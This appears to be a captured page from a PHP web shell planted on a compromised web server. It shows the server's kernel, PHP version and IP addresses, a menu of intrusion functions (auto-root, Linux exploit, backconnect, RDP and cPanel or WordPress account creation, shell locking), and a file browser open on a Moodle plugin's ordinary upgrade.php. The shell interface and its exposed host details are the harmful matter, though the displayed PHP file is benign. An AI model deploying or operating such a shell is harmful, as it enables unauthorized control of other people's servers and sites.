Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
game /
db /
[ HOME SHELL ]
Name
Size
Permission
Action
access.php
1.5
KB
-rw-r--r--
install.xml
3.68
KB
-rw-r--r--
tasks.php
1.11
KB
-rw-r--r--
upgrade.php
4.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.php
<?php // This file is part of Block Game // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Game block language strings * * @package block_game * @copyright 2019 Jose Wilson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Update block_game * * @param int $oldversion * @return bool always true */ function xmldb_block_game_upgrade($oldversion) { global $CFG, $DB; $dbman = $DB->get_manager(); if ($oldversion < 2020012905) { // Add field 'score_bonus_day' to 'block_game'. $table = new xmldb_table('block_game'); $field = new xmldb_field('score_bonus_day', XMLDB_TYPE_INTEGER, '10', null, null, null, '0', 'score_activities'); if (!$dbman->field_exists($table, $field)) { $dbman->add_field($table, $field); } // Define table block_xp_filters to be created. $table = new xmldb_table('block_game_completed_atv'); // Adding fields to table block_game_completed_atv. $table->add_field('id', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, XMLDB_SEQUENCE, null); $table->add_field('courseid', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, null); $table->add_field('userid', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, null); $table->add_field('moduleid', XMLDB_TYPE_INTEGER, '10', null, XMLDB_NOTNULL, null, null); $table->add_field('score', XMLDB_TYPE_INTEGER, '10', null, null, null, '0'); $table->add_field('timecreated', XMLDB_TYPE_INTEGER, '10', null, null, null, null); // Adding keys to table block_game_completed_atv. $table->add_key('primary', XMLDB_KEY_PRIMARY, array('id')); $table->add_key('courseid', XMLDB_KEY_FOREIGN, ['courseid'], 'course', ['id']); $table->add_key('userid', XMLDB_KEY_FOREIGN, ['userid'], 'user', ['id']); // Conditionally launch create table for block_game_completed_atv. if (!$dbman->table_exists($table)) { $dbman->create_table($table); } // Block_game savepoint reached. upgrade_block_savepoint(true, 2020012905, 'game'); } if ($oldversion < 2020042983) { // Add field 'score_bonus_day' to 'block_game'. $table = new xmldb_table('block_game'); $field = new xmldb_field('score_section', XMLDB_TYPE_INTEGER, '10', null, null, null, '0', 'score_badges'); if (!$dbman->field_exists($table, $field)) { $dbman->add_field($table, $field); } // Block_game savepoint reached. upgrade_block_savepoint(true, 2020042983, 'game'); } if ($oldversion < 2020042996) { // Add field 'score_bonus_day' to 'block_game'. $table = new xmldb_table('block_game'); $field = new xmldb_field('ranking', XMLDB_TYPE_INTEGER, '10', null, null, null, '0', 'level'); if (!$dbman->field_exists($table, $field)) { $dbman->add_field($table, $field); } // Block_game savepoint reached. upgrade_block_savepoint(true, 2020042996, 'game'); } if ($oldversion < 2021051022) { // Add field 'score_bonus_day' to 'block_game'. $table = new xmldb_table('block_game'); $field = new xmldb_field('score_module_completed', XMLDB_TYPE_INTEGER, '10', null, null, null, '0', 'score_activities'); if (!$dbman->field_exists($table, $field)) { $dbman->add_field($table, $field); } // Block_game savepoint reached. upgrade_block_savepoint(true, 2021051022, 'game'); } if ($oldversion < 2022042725) { // Define table block_game_completed_atv to be dropped. $table = new xmldb_table('block_game_completed_atv'); // Conditionally launch drop table for role_sortorder. if ($dbman->table_exists($table)) { $dbman->drop_table($table); } // Block_game savepoint reached. upgrade_block_savepoint(true, 2022042725, 'game'); } return true; }
Close